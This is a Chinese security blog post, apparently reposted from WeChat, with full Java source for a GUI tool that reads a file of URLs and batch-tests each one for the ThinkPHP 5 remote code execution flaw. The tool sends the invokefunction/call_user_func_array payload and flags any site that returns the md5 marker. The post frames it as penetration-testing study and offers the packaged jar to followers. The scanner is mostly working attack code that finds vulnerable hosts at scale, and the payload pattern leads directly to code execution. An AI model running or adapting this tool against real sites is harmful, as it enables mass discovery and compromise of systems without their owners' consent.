【java安全】java编写可视化批量exp测试工具
2023-1-7 14:17:50 Author: moonsec(查看原文) 阅读量:18 收藏

【java安全】java编写可视化批量exp测试工具

大家好又是俺,暗月大徒弟,跟暗月大师傅苦学了半年,保持天天学习,顺便做点记录什么的。最近跟着月师傅学习了java编写exp的知识,上一篇介绍了单个网址进行检测的工具编写,这次弄个批量的,批量的需求挺大的。稍微改一下脚本即可。

1批量思路

批量:就是读取文本内容 遍历每行的内容再进行测试。

文本读取->遍历网址->测试

代码

package exp;

import java.io.*;

public class test {
public static void main(String[] args) throws Exception {

InputStreamReader br = new InputStreamReader(new FileInputStream(new File("D:\\tools\\javagui\\src\\main\\java\\exp\\url.txt")), "UTF-8");
BufferedReader reader = new BufferedReader(br);
String str;

while ((str = reader.readLine()) != null) {
System.out.println(str);
}
}
}

效果

2编写批量

界面跟上一篇界面差不多 只是多了个按钮和文件选择框。代码有详细说明

package exp;
import com.github.kevinsawicki.http.HttpRequest;
import javax.swing.*;
import java.io.*;
import java.net.URISyntaxException;

public class tp5rce {
public static void main(String[] args) throws URISyntaxException, UnsupportedEncodingException {
JFrame frame = new JFrame("暗月大徒弟 thinkphp5 rce批量 师承暗月大师傅");
frame.setBounds(500,500,650,500);
frame.setLayout(null);
JLabel jLabel = new JLabel("导入URL:");
jLabel.setBounds(10,10,100,50);
JButton btnEnter = new JButton("检测");
JButton btnURL = new JButton("点击导入URL");
JLabel mLabel = new JLabel("返回信息:");
JTextField jTextField = new JTextField();
JTextArea jTextArea = new JTextArea();
jTextArea.setLineWrap(true);
jTextArea.setBounds(70,80,500,300);
jTextField.setBounds(70,10,250,50);
mLabel.setBounds(10,70,100,50);
btnEnter.setBounds(460,10,100,50);
btnURL.setBounds(330,10,100,50);
frame.add(btnEnter);
frame.add(btnURL);
frame.add(jLabel);
frame.add(mLabel);
frame.add(jTextField);
frame.add(jTextArea);
frame.setVisible(true);
//上面这个部分都是界面

frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);

btnURL.addActionListener(e -> {
JFileChooser chooser = new JFileChooser(); //创建选择框
chooser.showOpenDialog(null);
String filePath=chooser.getSelectedFile().getAbsolutePath(); //获取文件路径
jTextField.setText(filePath); //设置文本框

});

btnEnter.addActionListener(e -> {
if(jTextField.getText().trim().equals("")){//判断文本是否为空
JOptionPane.showMessageDialog(frame, "导入的文本不能为空", "标题",JOptionPane.WARNING_MESSAGE);
}
File file = new File(jTextField.getText().trim());

try{
//读取文本
InputStreamReader br = new InputStreamReader(new FileInputStream(file), "UTF-8");
BufferedReader reader = new BufferedReader(br);
String str;

while ((str = reader.readLine()) != null) { //循环读取测试
jTextArea.append("正在测试:"+str+"\n");
jTextArea.append(result(str));
}

}catch (IOException e1){
e1.printStackTrace();
}

});

}
public static String result(String url){
String payload = "/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=1";
try {
if (vulTest(url,payload)==true){
return "存在漏洞 \n"+"测试语句: "+payload+"\n";
}
} catch (Exception e) {
e.printStackTrace();
}
return "不存在漏洞\n";
}

public static Boolean vulTest(String url,String payload) throws Exception{
String checkstr = "c4ca4238a0b923820dcc509a6f75849b"; //md5 检测值
HttpRequest req = HttpRequest.get(url+payload);
if( req.body().contains(checkstr)){
return true;
}
return false;
}

}

编译测试

打包jar

想要此工具 关注公众号 回复 月师傅666 即可获取

3关注

长期更新渗透测试、WEB安全、代码审计、红蓝对抗等安全技术


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMjc0NTEzMw==&mid=2653586370&idx=1&sn=1fa0e4089aac635bd7e2fa1bc090cb58&chksm=811b9580b66c1c9681ac38edf7950444260ca8772173e5bf5ed9a2e1eed7aade6939019841dc#rd
如有侵权请联系:admin#unsafe.sh